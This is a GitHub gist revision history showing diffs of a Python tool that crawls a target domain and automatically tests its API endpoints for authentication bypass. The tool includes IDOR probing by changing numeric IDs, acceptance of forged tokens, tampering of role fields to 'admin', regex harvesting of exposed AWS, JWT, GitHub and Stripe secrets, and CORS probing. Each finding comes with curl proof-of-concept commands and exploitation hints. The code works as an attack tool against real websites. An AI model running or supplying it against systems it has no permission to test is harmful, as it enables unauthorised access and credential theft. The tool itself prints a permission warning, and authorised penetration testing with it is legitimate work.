    def assess_bypass_impact(self, field_name: str) -> str:
    """Assess the impact of bypassing a specific field"""
    field_lower = field_name.lower()

    high_impact_keywords = [
    'authenticated', 'authorized', 'logged_in', 'isadmin', 'is_admin',
    'admin', 'root', 'superuser', 'premium', 'paid', 'licensed'
    ]

    medium_impact_keywords = [
    'enabled', 'active', 'valid', 'verified', 'confirmed'
    ]

    if any(keyword in field_lower for keyword in high_impact_keywords):
    return 'HIGH'
    elif any(keyword in field_lower for keyword in medium_impact_keywords):
    @@ -985,22 +1058,22 @@ class AuthBypassTester:
    def get_bypass_value(self, key: str, current_value) -> str:
    """Suggest appropriate bypass value based on the field name and current value"""
    key_lower = key.lower()

    if any(word in key_lower for word in ['expired', 'disabled', 'restricted']):
    return 'false' if current_value else 'true'
    elif 'level' in key_lower or 'role' in key_lower:
    return 'admin' if isinstance(current_value, str) else '999'
    else:
    return 'true' if current_value is False else 'false'

    def check_for_auth_errors(self, data: dict) -> bool:
    """Check if response contains authentication/authorization errors"""
    error_indicators = [
    'unauthorized', 'forbidden', 'access_denied', 'insufficient_privileges',
    'login_required', 'authentication_required', 'invalid_token',
    'permission_denied', 'not_authorized', 'access_forbidden'
    ]

    # Convert entire response to lowercase string for searching
    response_str = json.dumps(data).lower()
    return any(indicator in response_str for indicator in error_indicators)
    @@ -1019,11 +1092,11 @@ class AuthBypassTester:
    def test_all_endpoints(self, urls: List[str]) -> List[Dict]:
    """Test all API endpoints concurrently for multiple bypass techniques"""
    logger.info(f"Testing {len(urls)} endpoints for authentication bypasses using 9 different techniques")

    results = []
    with ThreadPoolExecutor(max_workers=self.threads) as executor:
    future_to_url = {executor.submit(self.test_endpoint_bypass, url): url for url in urls}

    for future in as_completed(future_to_url):
    result = future.result()
    if result['vulnerable']:
    @@ -1041,24 +1114,24 @@ class AuthBypassTester:
    self.vulnerable_endpoints.append(result)
    logger.info(f"🚨 VULNERABLE: {result['url']} - {result.get('method', 'Unknown')}")
    results.append(result)

    return results

    def generate_report(self, results: List[Dict]) -> str:
    """Generate a detailed report of findings"""
    total_tested = len(results)
    vulnerable = len(self.vulnerable_endpoints)

    report = f"""
    === Enhanced API Security Test Results (v3) ===
    === Enhanced API Security Test Results (v4) ===
    Domain: {self.domain}
    Total URLs discovered: {len(self.found_urls)}
    API endpoints tested: {total_tested}
    Vulnerable endpoints found: {vulnerable}
    TESTS PERFORMED:
    1. Response Manipulation (Boolean/Redirect Bypass)
    2. Missing Authentication on Sensitive Endpoints
    2. Missing Authentication on Sensitive Endpoints
    3. Insecure Direct Object Reference (IDOR)
    4. Weak Session Token/Cookie Validation
    5. Privilege Escalation via Parameter Tampering
    @@ -1068,15 +1141,15 @@ TESTS PERFORMED:
    9. Error Message Information Disclosure
    """

    if vulnerable > 0:
    # Sort vulnerabilities by severity
    critical_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'CRITICAL']
    high_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') == 'HIGH']
    other_vulns = [v for v in self.vulnerable_endpoints if v.get('severity') not in ['CRITICAL', 'HIGH']]

    sorted_vulns = critical_vulns + high_vulns + other_vulns

    report += "=== VULNERABLE API ENDPOINTS ===\n"
    for vuln in sorted_vulns:
    severity = vuln.get('severity', 'MEDIUM')
    @@ -1095,23 +1168,23 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    📄 Response Sample:
    {vuln['response_sample']}
    """

    if 'bypass_opportunities' in vuln:
    report += "\n🎯 Specific Bypass Opportunities:\n"
    for bypass in vuln['bypass_opportunities']:
    report += f" - Change '{bypass['field']}' from '{bypass['current_value']}' to '{bypass['suggested_value']}' (Impact: {bypass.get('impact', 'Unknown')})\n"

    if 'secrets_found' in vuln:
    report += f"\n🔑 Secrets Found: {', '.join(vuln['secrets_found'])}\n"

    if 'cors_header' in vuln:
    report += f"\n🌐 CORS Header: {vuln['cors_header']}\n"

    if 'error_sample' in vuln:
    report += f"\n⚠️ Error Sample:\n{vuln['error_sample']}\n"

    report += "\n" + "="*60 + "\n"

    report += f"""
    === SUMMARY BY VULNERABILITY TYPE ===
    """
    @@ -1120,71 +1193,72 @@ Exploitation: {vuln.get('exploitation', 'Manual testing required')}
    for vuln in self.vulnerable_endpoints:
    vuln_type = vuln.get('method', 'Unknown')
    vuln_types[vuln_type] = vuln_types.get(vuln_type, 0) + 1

    for vuln_type, count in sorted(vuln_types.items()):
    report += f"{vuln_type}: {count} endpoints\n"

    # Add severity summary
    report += f"""
    === SUMMARY BY SEVERITY ===
    CRITICAL: {len(critical_vulns)} vulnerabilities
    HIGH: {len(high_vulns)} vulnerabilities
    MEDIUM/LOW: {len(other_vulns)} vulnerabilities
    """

    return report

    def run_full_scan(self) -> str:
    """Run the complete authentication bypass scan"""
    logger.info(f"Starting enhanced API security scan for {self.domain}")

    # Step 1: Discover URLs
    all_urls = self.run_urlfinder()
    if not all_urls:
    return "No URLs discovered. Check URLfinder installation and domain validity."

    self.found_urls = set(all_urls)

    # Step 2: Filter API endpoints
    api_urls = self.filter_api_endpoints(all_urls)
    if not api_urls:
    return "No API endpoints found in discovered URLs."

    # Step 3: Test for bypasses
    results = self.test_all_endpoints(api_urls)

    # Step 4: Generate report
    return self.generate_report(results)

    def main():
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v3')
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v4')
    parser.add_argument('domain', help='Target domain to test')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('-o', '--output', help='Output file for results')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    args = parser.parse_args()

    # Validate domain
    if not args.domain or '.' not in args.domain:
    logger.error("Please provide a valid domain")
    return

    # Warning message
    print("⚠️ WARNING: Only use this tool on domains you own or have explicit permission to test!")
    print("Unauthorized testing may be illegal and could result in serious consequences.")
    print("\n📌 Enhanced Version 3.0 - Major False Positive Reduction")
    print(" - Skips support/help center endpoints")
    print(" - Better OAuth and login page handling")
    print(" - Improved error detection patterns\n")

    print("\n📌 Enhanced Version 4.0 - Further False Positive Reduction")
    print(" - Better HTML vs API response detection")
    print(" - Improved JavaScript code filtering")
    print(" - Skip logout endpoints")
    print(" - Enhanced credential validation\n")

    # Run the scan
    tester = AuthBypassTester(args.domain, threads=args.threads, timeout=args.timeout)
    report = tester.run_full_scan()

    # Output results
    print(report)

    if args.output:
    with open(args.output, 'w') as f:
    f.write(report)
  2. nullenc0de revised this gist May 23, 2025. 1 changed file with 121 additions and 29 deletions.
    150 changes: 121 additions & 29 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,11 @@
    #!/usr/bin/env python3
    """
    Authentication Bypass Automation Tool v2
    Enhanced version with reduced false positives
    Authentication Bypass Automation Tool v3
    Major false positive reduction update
    - Skips support/help center endpoints
    - Better OAuth/login page handling
    - Improved SQL/file path detection
    - Enhanced secret validation
    """

    import subprocess
    @@ -131,6 +135,23 @@ class AuthBypassTester:
    r'/en_in/.*configuration/modals', # Localized modal configs
    r'\.html?(\?.*)?$', # HTML files
    r'/content/.*/configuration/', # CMS configuration paths
    # Skip support/help center endpoints
    r'support\.', # Support subdomains
    r'help\.', # Help subdomains
    r'/help_center/', # Help center paths
    r'/support/', # Support paths
    r'/hc/', # Help center abbreviated
    r'/knowledge/', # Knowledge base
    r'/kb/', # Knowledge base abbreviated
    r'/faq/', # FAQ sections
    r'/docs/', # Documentation
    # Skip OAuth/auth endpoints (handled separately)
    r'/oauth/authorize',
    r'/auth/authorize',
    r'/login\?',
    r'/signin\?',
    r'/account/login',
    r'/user/login',
    ]

    # High priority patterns (test these first)
    @@ -309,6 +330,10 @@ class AuthBypassTester:
    def test_response_manipulation(self, url: str) -> Dict:
    """Test 1: Response Manipulation Bypass"""
    try:
    # Skip OAuth endpoints - they're supposed to redirect
    if any(oauth_pattern in url.lower() for oauth_pattern in ['/oauth/authorize', '/auth/authorize']):
    return {'vulnerable': False}

    response = self.session.get(url, timeout=self.timeout, allow_redirects=False)

    # Check if it's a JSON API endpoint
    @@ -318,11 +343,13 @@ class AuthBypassTester:
    # Check for redirect to SSO/login
    if response.status_code in [301, 302, 303, 307, 308]:
    location = response.headers.get('location', '')
    if any(keyword in location.lower() for keyword in ['login', 'auth', 'sso', 'signin', 'oauth']):
    # Only flag if it's protecting actual API/data endpoints, not OAuth flows
    if (any(keyword in location.lower() for keyword in ['login', 'auth', 'sso', 'signin']) and
    not any(skip in url.lower() for skip in ['/login', '/signin', '/auth/', '/oauth/'])):
    return {
    'vulnerable': True,
    'method': 'Response Manipulation - Redirect Bypass',
    'details': f'Authentication redirect detected to: {location}',
    'details': f'Protected endpoint redirects to authentication: {location}',
    'exploitation': 'Intercept response and remove Location header or change status code to 200'
    }

    @@ -337,7 +364,9 @@ class AuthBypassTester:
    # Skip common false positives
    if any(pattern in url.lower() for pattern in [
    'wp-json/wp/v2/', '/job/', '/events/', 'manifest.json',
    '/configuration/modals/', 'clientlibs', '/content/'
    '/configuration/modals/', 'clientlibs', '/content/',
    '/login', '/signin', '/oauth/', '/auth/authorize',
    'support.', 'help.', '/help_center/', '/support/'
    ]):
    return {'vulnerable': False}

    @@ -375,7 +404,8 @@ class AuthBypassTester:
    'details': f'Exposed secret matching pattern: {pattern}',
    'exploitation': 'Direct access to sensitive credentials without authentication',
    'poc': f'curl -X GET "{url}"',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
    'severity': 'CRITICAL'
    }

    # Check for API documentation exposure
    @@ -385,7 +415,8 @@ class AuthBypassTester:
    'method': 'Missing Authentication - API Documentation Exposure',
    'details': 'API documentation accessible without authentication',
    'exploitation': 'Access to complete API structure and endpoints',
    'poc': f'curl -X GET "{url}"'
    'poc': f'curl -X GET "{url}"',
    'severity': 'HIGH'
    }

    return {'vulnerable': False}
    @@ -462,6 +493,10 @@ class AuthBypassTester:
    any(public_file in url for public_file in public_files)):
    return {'vulnerable': False}

    # Skip login/auth pages - they don't validate tokens
    if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/', '/account/login', '/user/login']):
    return {'vulnerable': False}

    # First test normal request to establish baseline
    normal_response = self.session.get(url, timeout=self.timeout)

    @@ -502,7 +537,8 @@ class AuthBypassTester:
    'details': f'Server accepts invalid token and returns authenticated response',
    'exploitation': 'Use any invalid token to bypass authentication',
    'poc': f'curl -X GET "{url}" -H "Authorization: {token}"',
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text
    'response_sample': response.text[:200] + '...' if len(response.text) > 200 else response.text,
    'severity': 'CRITICAL'
    }

    return {'vulnerable': False}
    @@ -664,6 +700,10 @@ class AuthBypassTester:
    def test_information_disclosure(self, url: str) -> Dict:
    """Test 7: Exposed API Key or Token in Unauthenticated Requests"""
    try:
    # Skip login pages
    if any(pattern in url.lower() for pattern in ['/login', '/signin', '/oauth/', '/auth/']):
    return {'vulnerable': False}

    response = self.session.get(url, timeout=self.timeout)

    if not self.is_meaningful_response(response):
    @@ -678,18 +718,31 @@ class AuthBypassTester:
    (r'["\']?aws[_-]?access[_-]?key[_-]?id["\']?\s*[:=]\s*["\']([A-Z0-9]{20})["\']', 'AWS Access Key'),
    (r'["\']?aws[_-]?secret[_-]?access[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9/+=]{40})["\']', 'AWS Secret Key'),
    (r'Bearer\s+([a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]*)', 'JWT Token'),
    (r'Basic\s+([a-zA-Z0-9+/=]{20,})', 'Basic Auth Credentials')
    (r'Basic\s+([a-zA-Z0-9+/=]{20,})', 'Basic Auth Credentials'),
    (r'["\']?client[_-]?secret["\']?\s*[:=]\s*["\']([a-zA-Z0-9\-_]{20,})["\']', 'OAuth Client Secret'),
    (r'["\']?github[_-]?token["\']?\s*[:=]\s*["\']([a-zA-Z0-9]{40})["\']', 'GitHub Token'),
    (r'["\']?stripe[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9_]{24,})["\']', 'Stripe API Key')
    ]

    found_secrets = []
    for pattern, secret_type in secret_patterns:
    matches = re.findall(pattern, response.text, re.IGNORECASE)
    if matches:
    # Filter out obvious placeholders
    real_secrets = [m for m in matches if not any(
    placeholder in m.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...', 'placeholder']
    )]
    # Filter out obvious placeholders and common false positives
    real_secrets = []
    for secret in matches:
    # Skip placeholders
    if any(placeholder in secret.lower() for placeholder in
    ['your-api-key', 'example', 'test', 'demo', 'xxx', '...',
    'placeholder', 'sample', 'dummy', 'fake', 'mock']):
    continue
    # Skip repeated characters
    if len(set(secret)) < 5:
    continue
    # Skip if it's just numbers or just letters (likely not a real key)
    if secret.isdigit() or secret.isalpha():
    continue
    real_secrets.append(secret)

    if real_secrets:
    found_secrets.extend([(secret_type, secret[:20] + '...') for secret in real_secrets])
    @@ -702,7 +755,8 @@ class AuthBypassTester:
    'exploitation': 'Extract and use exposed API keys/tokens',
    'poc': f'curl -X GET "{url}"',
    'secrets_found': [f'{stype}: {svalue}' for stype, svalue in found_secrets[:3]],
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text,
    'severity': 'CRITICAL'
    }

    return {'vulnerable': False}
    @@ -713,10 +767,14 @@ class AuthBypassTester:
    def test_cors_misconfiguration(self, url: str) -> Dict:
    """Test 8: CORS Misconfiguration"""
    try:
    # Skip non-API endpoints
    # Skip non-API endpoints and support pages
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'json', 'rest', 'graphql']):
    return {'vulnerable': False}

    # Skip support/help endpoints which are meant to be public
    if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
    return {'vulnerable': False}

    headers = {'Origin': 'https://evil-attacker.com'}
    response = self.session.get(url, headers=headers, timeout=self.timeout)

    @@ -732,10 +790,21 @@ class AuthBypassTester:
    # Additional check: is this actually sensitive data?
    sensitive_content = any(indicator in response.text.lower() for indicator in [
    'password', 'token', 'secret', 'api_key', 'private', 'confidential',
    'credit', 'ssn', 'email', 'phone', 'address'
    'credit', 'ssn', 'email', 'phone', 'address', 'user_id', 'session'
    ])

    if sensitive_content or ('true' in cors_credentials.lower() and cors_header != '*'):
    # Also check if response contains user-specific data patterns
    user_data_patterns = [
    r'"user":\s*{',
    r'"email":\s*"[^"]+@[^"]+"',
    r'"profile":\s*{',
    r'"account":\s*{',
    r'"session":\s*"[^"]+"'
    ]

    has_user_data = any(re.search(pattern, response.text) for pattern in user_data_patterns)

    if sensitive_content or has_user_data or ('true' in cors_credentials.lower() and cors_header != '*'):
    severity = 'CRITICAL' if cors_credentials.lower() == 'true' else 'HIGH'
    return {
    'vulnerable': True,
    @@ -760,6 +829,10 @@ class AuthBypassTester:
    if not any(pattern in url.lower() for pattern in ['api', 'ajax', 'rest', 'service']):
    return {'vulnerable': False}

    # Skip support/help endpoints
    if any(pattern in url.lower() for pattern in ['support.', 'help.', '/help_center/', '/support/']):
    return {'vulnerable': False}

    # Trigger errors with malformed requests
    error_triggers = [
    {'method': 'POST', 'data': 'invalid json', 'headers': {'Content-Type': 'application/json'}},
    @@ -782,21 +855,37 @@ class AuthBypassTester:
    (r'(com\.[\w\.]+Exception)', 'Java Exception'),
    (r'(org\.[\w\.]+Exception)', 'Java Framework Exception'),
    (r'at\s+[\w\.$]+\([\w\.]+:\d+\)', 'Java Stack Trace'),
    (r'File\s+"([^"]+)"\,?\s+line\s+\d+', 'Python Stack Trace'),
    (r'File\s+"([^"]+\.py)"\,?\s+line\s+\d+', 'Python Stack Trace'),
    (r'(Microsoft\.[\w\.]+Exception)', '.NET Exception'),
    (r'(System\.[\w\.]+Exception)', '.NET System Exception'),
    (r'(\/home\/[\w\/]+|\/var\/www\/[\w\/]+|C:\\[\w\\]+)', 'File Path Disclosure'),
    (r'(SELECT\s+.*\s+FROM\s+|INSERT\s+INTO\s+|UPDATE\s+.*\s+SET)', 'SQL Query Disclosure'),
    (r'(mysql_fetch_|mysqli_|pg_query|oci_parse)', 'Database Function'),
    (r'(root|admin|password|pwd)\s*[:=]\s*["\']?[\w]+', 'Credential Disclosure'),
    (r'(MongoDB|Redis|PostgreSQL|MySQL|Oracle|MSSQL)\s+Error', 'Database Error'),
    (r'(\/home\/[\w\/]+\.[\w]+|\/var\/www\/[\w\/]+\.[\w]+|C:\\[\w\\]+\.[\w]+)', 'File Path Disclosure'),
    (r'(SELECT\s+\*?\s*FROM\s+[\w\.]+|INSERT\s+INTO\s+[\w\.]+|UPDATE\s+[\w\.]+\s+SET|DELETE\s+FROM\s+[\w\.]+)', 'SQL Query Disclosure'),
    (r'(mysql_fetch_|mysqli_|pg_query|oci_parse)\s*\(', 'Database Function'),
    (r'(root|admin|password|pwd)\s*[:=]\s*["\']?([a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};:,.<>?]+)["\']?', 'Credential Disclosure'),
    (r'(MongoDB|Redis|PostgreSQL|MySQL|Oracle|MSSQL)\s+(error|Error|ERROR)', 'Database Error'),
    (r'"stack":\s*"[^"]+Error[^"]+"', 'JSON Stack Trace'),
    (r'Traceback\s+\(most\s+recent\s+call\s+last\)', 'Python Traceback')
    (r'Traceback\s+\(most\s+recent\s+call\s+last\)', 'Python Traceback'),
    (r'Warning:\s+[\w_]+\(\)\s+\[[\w\.]+\]:', 'PHP Warning'),
    (r'Fatal error:\s+[\w\s]+in\s+[\w\/\.]+\s+on\s+line\s+\d+', 'PHP Fatal Error')
    ]

    for pattern, disclosure_type in critical_patterns:
    match = re.search(pattern, content, re.IGNORECASE | re.MULTILINE)
    if match:
    # For SQL queries, ensure it's a real query not just words
    if disclosure_type == 'SQL Query Disclosure':
    query_text = match.group(0)
    # Must have actual SQL structure, not just keywords
    if not any(sql_struct in query_text.upper() for sql_struct in ['SELECT', 'FROM', 'INSERT INTO', 'UPDATE', 'DELETE FROM']):
    continue

    # For file paths, ensure it's an actual file path
    if disclosure_type == 'File Path Disclosure':
    path_text = match.group(1)
    # Must have file extension or be clearly a path
    if not (re.search(r'\.(php|py|java|cs|rb|js)$', path_text) or '/' in path_text or '\\' in path_text):
    continue

    # Extract relevant error context
    error_context = content[max(0, match.start()-100):min(len(content), match.end()+100)]

    @@ -807,7 +896,7 @@ class AuthBypassTester:
    'exploitation': 'Craft malformed requests to extract system information',
    'poc': self._generate_error_poc(url, trigger, method),
    'error_sample': error_context,
    'severity': 'HIGH' if 'Stack Trace' in disclosure_type else 'MEDIUM'
    'severity': 'HIGH' if 'Stack Trace' in disclosure_type or 'SQL' in disclosure_type else 'MEDIUM'
    }

    return {'vulnerable': False}
    @@ -961,7 +1050,7 @@ class AuthBypassTester:
    vulnerable = len(self.vulnerable_endpoints)

    report = f"""
    === Enhanced API Security Test Results (v2) ===
    === Enhanced API Security Test Results (v3) ===
    Domain: {self.domain}
    Total URLs discovered: {len(self.found_urls)}
    API endpoints tested: {total_tested}
    @@ -1068,7 +1157,7 @@ MEDIUM/LOW: {len(other_vulns)} vulnerabilities
    return self.generate_report(results)

    def main():
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v2')
    parser = argparse.ArgumentParser(description='Enhanced Authentication Bypass Tester v3')
    parser.add_argument('domain', help='Target domain to test')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)')
    parser.add_argument('-o', '--output', help='Output file for results')
    @@ -1084,7 +1173,10 @@ def main():
    # Warning message
    print("⚠️ WARNING: Only use this tool on domains you own or have explicit permission to test!")
    print("Unauthorized testing may be illegal and could result in serious consequences.")
    print("\n📌 Enhanced Version 2.0 - Reduced False Positives")
    print("\n📌 Enhanced Version 3.0 - Major False Positive Reduction")
    print(" - Skips support/help center endpoints")
    print(" - Better OAuth and login page handling")
    print(" - Improved error detection patterns\n")

    # Run the scan
    tester = AuthBypassTester(args.domain, threads=args.threads, timeout=args.timeout)
  3. nullenc0de revised this gist May 22, 2025. 1 changed file with 423 additions and 224 deletions.
    647 changes: 423 additions & 224 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,7 @@
    #!/usr/bin/env python3
    """
    Authentication Bypass Automation Tool
    Combines URLfinder with automated authentication bypass testing
    Authentication Bypass Automation Tool v2
    Enhanced version with reduced false positives
    """

    import subprocess
    @@ -104,7 +104,7 @@ class AuthBypassTester:
    """Filter URLs that are API endpoints (prioritized and filtered)"""
    api_urls = []

    # Skip common false positive patterns
    # Skip common false positive patterns (ENHANCED)
    skip_patterns = [
    r'/wp-json/wp/v2/',
    r'/job/\d+/',
    @@ -126,18 +126,29 @@ class AuthBypassTester:
    r'\.min\.(js|css)(\?.*)?$',
    r'/demandware\.static/',
    r'\.gif(\?.*)?$',
    # Add patterns for common false positives
    r'/configuration/modals/', # Modal configuration endpoints
    r'/en_in/.*configuration/modals', # Localized modal configs
    r'\.html?(\?.*)?$', # HTML files
    r'/content/.*/configuration/', # CMS configuration paths
    ]

    # High priority patterns (test these first)
    priority_patterns = [
    r'/api/v\d+/',
    r'/api/(?!.*/(gtm|noticeError))',
    r'/v\d+/(?!.*wp)',
    r'developers\.',
    r'/apispecs/',
    r'\.json$',
    r'/graphql',
    r'/rest/(?!.*wp)',
    r'/jwks\.json',
    r'/oauth/',
    r'/auth/',
    r'/login/',
    r'/user/',
    r'/account/',
    r'/session/',
    r'/token/',
    ]

    # Regular API patterns
    @@ -147,8 +158,8 @@ class AuthBypassTester:
    r'/internal/',
    r'/private/',
    r'/admin/api/',
    r'/configuration/',
    r'/manifest\.json$',
    r'/backend/',
    r'/secure/',
    ]

    # First, collect high priority endpoints
    @@ -174,20 +185,22 @@ class AuthBypassTester:
    try:
    test_response = requests.get(url, timeout=5, verify=False)
    if (test_response.status_code == 200 and
    not (test_response.text.lower().startswith('<!doctype html>') or
    '<html' in test_response.text.lower()[:100])):
    is_priority = True # Only include if it returns actual content, not HTML
    'application/json' in test_response.headers.get('content-type', '')):
    is_priority = True
    else:
    continue # Skip - this is returning HTML error page or non-200 status
    continue # Skip - not JSON content
    except:
    continue # Skip if we can't test it

    # Special handling for JSON files - only include if they're actually config files
    elif url.endswith('.json'):
    # Include if it's in config or API directories (well-known already handled above)
    if any(keyword in url.lower() for keyword in ['config', 'api', 'manifest', 'jwks']):
    # Skip manifest.json files as they're meant to be public
    if 'manifest.json' in url:
    continue
    # Include if it's in config or API directories
    if any(keyword in url.lower() for keyword in ['config', 'api', 'jwks', 'settings']):
    # But exclude if it's clearly in a static directory
    if not any(static_dir in url.lower() for static_dir in ['static', 'assets', 'images', 'css']):
    if not any(static_dir in url.lower() for static_dir in ['static', 'assets', 'images', 'css', 'clientlibs']):
    is_priority = True
    else:
    continue # Skip other JSON files
    @@ -212,6 +225,27 @@ class AuthBypassTester:
    logger.info(f"Filtered out static assets and non-API endpoints")
    return filtered_api_urls

    def is_meaningful_response(self, response: requests.Response) -> bool:
    """Check if response contains meaningful content (not just empty or error pages)"""
    if not response or response.status_code >= 400:
    return False

    content = response.text.strip()
    content_length = len(content)

    # Empty or very short responses aren't meaningful
    if content_length < 10:
    return False

    # Check if it's just an HTML error page
    if content.lower().startswith('<!doctype html') or '<html' in content.lower()[:100]:
    # Check for common error page indicators
    error_indicators = ['404', 'not found', 'error', 'forbidden', 'unauthorized']
    if any(indicator in content.lower()[:500] for indicator in error_indicators):
    return False

    return True

    def test_endpoint_bypass(self, url: str) -> Dict:
    """Test a single endpoint for multiple authentication bypass techniques"""
    results = []
    @@ -232,10 +266,11 @@ class AuthBypassTester:
    if idor_test['vulnerable']:
    results.append(idor_test)

    # Test 4: Weak Token Validation
    weak_token = self.test_weak_token_validation(url)
    if weak_token['vulnerable']:
    results.append(weak_token)
    # Test 4: Weak Token Validation (skip for public files)
    if not any(public_file in url for public_file in ['manifest.json', '.well-known/', 'robots.txt']):
    weak_token = self.test_weak_token_validation(url)
    if weak_token['vulnerable']:
    results.append(weak_token)

    # Test 5: Privilege Escalation
    priv_esc = self.test_privilege_escalation(url)
    @@ -283,12 +318,12 @@ class AuthBypassTester:
    # Check for redirect to SSO/login
    if response.status_code in [301, 302, 303, 307, 308]:
    location = response.headers.get('location', '')
    if any(keyword in location.lower() for keyword in ['login', 'auth', 'sso']):
    if any(keyword in location.lower() for keyword in ['login', 'auth', 'sso', 'signin', 'oauth']):
    return {
    'vulnerable': True,
    'method': 'Response Manipulation - Redirect Bypass',
    'details': f'Redirects to: {location}',
    'exploitation': 'Intercept response and remove Location header'
    'details': f'Authentication redirect detected to: {location}',
    'exploitation': 'Intercept response and remove Location header or change status code to 200'
    }

    return {'vulnerable': False}
    @@ -301,8 +336,8 @@ class AuthBypassTester:
    try:
    # Skip common false positives
    if any(pattern in url.lower() for pattern in [
    'wp-json/wp/v2/tags', 'wp-json/wp/v2/pages', 'wp-json/wp/v2/comments',
    'wp-json/wp/v2/users', 'wp-json/wp/v2/media', '/job/', '/events/'
    'wp-json/wp/v2/', '/job/', '/events/', 'manifest.json',
    '/configuration/modals/', 'clientlibs', '/content/'
    ]):
    return {'vulnerable': False}

    @@ -311,53 +346,46 @@ class AuthBypassTester:
    clean_session.verify = False
    response = clean_session.get(url, timeout=self.timeout)

    if response.status_code == 200:
    if response.status_code == 200 and self.is_meaningful_response(response):
    content = response.text.lower()
    content_length = len(response.text)

    # Check if this is actually an HTML error page or redirect page
    if content.startswith('<!doctype html>') or '<html' in content[:100]:
    # This is an HTML page, not a configuration file
    return {'vulnerable': False}

    # High-value sensitive patterns
    # High-value sensitive patterns (ENHANCED)
    critical_patterns = [
    'api_key', 'secret_key', 'access_token', 'private_key', 'password',
    'connection_string', 'database_url', 'jwt', 'bearer', 'oauth'
    r'api[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'secret[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'access[_-]?token["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'private[_-]?key["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'password["\']?\s*[:=]\s*["\']?[^"\']{8,}',
    r'connection[_-]?string["\']?\s*[:=]\s*["\']?[^"\']+',
    r'database[_-]?url["\']?\s*[:=]\s*["\']?[^"\']+',
    r'jwt["\']?\s*[:=]\s*["\']?eyJ[a-zA-Z0-9\-_=]+\.[a-zA-Z0-9\-_=]+',
    r'bearer["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}',
    r'oauth[_-]?secret["\']?\s*[:=]\s*["\']?[a-zA-Z0-9]{20,}'
    ]

    # API specification patterns
    spec_patterns = [
    'swagger', 'openapi', 'api-spec', 'endpoints', 'schemas'
    ]

    # Configuration patterns
    config_patterns = [
    'config', 'settings', 'environment', 'credentials'
    ]

    has_critical_data = any(pattern in content for pattern in critical_patterns)
    has_spec_data = any(pattern in content for pattern in spec_patterns)
    has_config_data = any(pattern in content for pattern in config_patterns)

    # Check for structured sensitive data (must be actual JSON/config, not HTML)
    is_json_config = (url.endswith('.json') and content_length > 100 and
    content.strip().startswith('{') and content.strip().endswith('}'))
    is_api_spec = ('spec' in url or 'swagger' in url or 'openapi' in url)
    # Check for actual pattern matches (not just keywords)
    for pattern in critical_patterns:
    if re.search(pattern, response.text, re.IGNORECASE):
    # Extract the matched secret for validation
    match = re.search(pattern, response.text, re.IGNORECASE)
    if match:
    return {
    'vulnerable': True,
    'method': 'Missing Authentication - Critical Secret Exposure',
    'details': f'Exposed secret matching pattern: {pattern}',
    'exploitation': 'Direct access to sensitive credentials without authentication',
    'poc': f'curl -X GET "{url}"',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    }

    # Only flag truly sensitive exposures
    if (content_length > 200 and
    (has_critical_data or
    (is_api_spec and has_spec_data) or
    (is_json_config and has_config_data))):

    # Check for API documentation exposure
    if any(keyword in content for keyword in ['swagger', 'openapi', 'api-docs']) and len(content) > 1000:
    return {
    'vulnerable': True,
    'method': 'Missing Authentication - Sensitive Data Exposure',
    'details': f'Critical endpoint accessible without authentication (Status: {response.status_code}, {content_length} chars)',
    'exploitation': 'Direct access to sensitive configuration/API data',
    'poc': f'curl -X GET "{url}"',
    'response_sample': response.text[:300] + '...' if len(response.text) > 300 else response.text
    'method': 'Missing Authentication - API Documentation Exposure',
    'details': 'API documentation accessible without authentication',
    'exploitation': 'Access to complete API structure and endpoints',
    'poc': f'curl -X GET "{url}"'
    }

    return {'vulnerable': False}
    @@ -369,26 +397,54 @@ class AuthBypassTester:
    """Test 3: Insecure Direct Object Reference (IDOR)"""
    try:
    # Look for numeric IDs in URL
    id_patterns = [r'/(\d+)/?$', r'/(\d+)/', r'id=(\d+)', r'user=(\d+)']
    id_patterns = [
    (r'/user/(\d+)', 'user'),
    (r'/account/(\d+)', 'account'),
    (r'/profile/(\d+)', 'profile'),
    (r'/order/(\d+)', 'order'),
    (r'/invoice/(\d+)', 'invoice'),
    (r'/document/(\d+)', 'document'),
    (r'[?&]id=(\d+)', 'id'),
    (r'[?&]user=(\d+)', 'user'),
    (r'[?&]uid=(\d+)', 'uid')
    ]

    for pattern in id_patterns:
    for pattern, param_type in id_patterns:
    match = re.search(pattern, url)
    if match:
    original_id = match.group(1)
    # Try different IDs
    test_ids = [str(int(original_id) + 1), str(int(original_id) - 1), '1', '999', '0']
    test_ids = [str(int(original_id) + 1), str(int(original_id) - 1), '1', '999']

    # Get baseline response
    baseline_response = self.session.get(url, timeout=self.timeout)
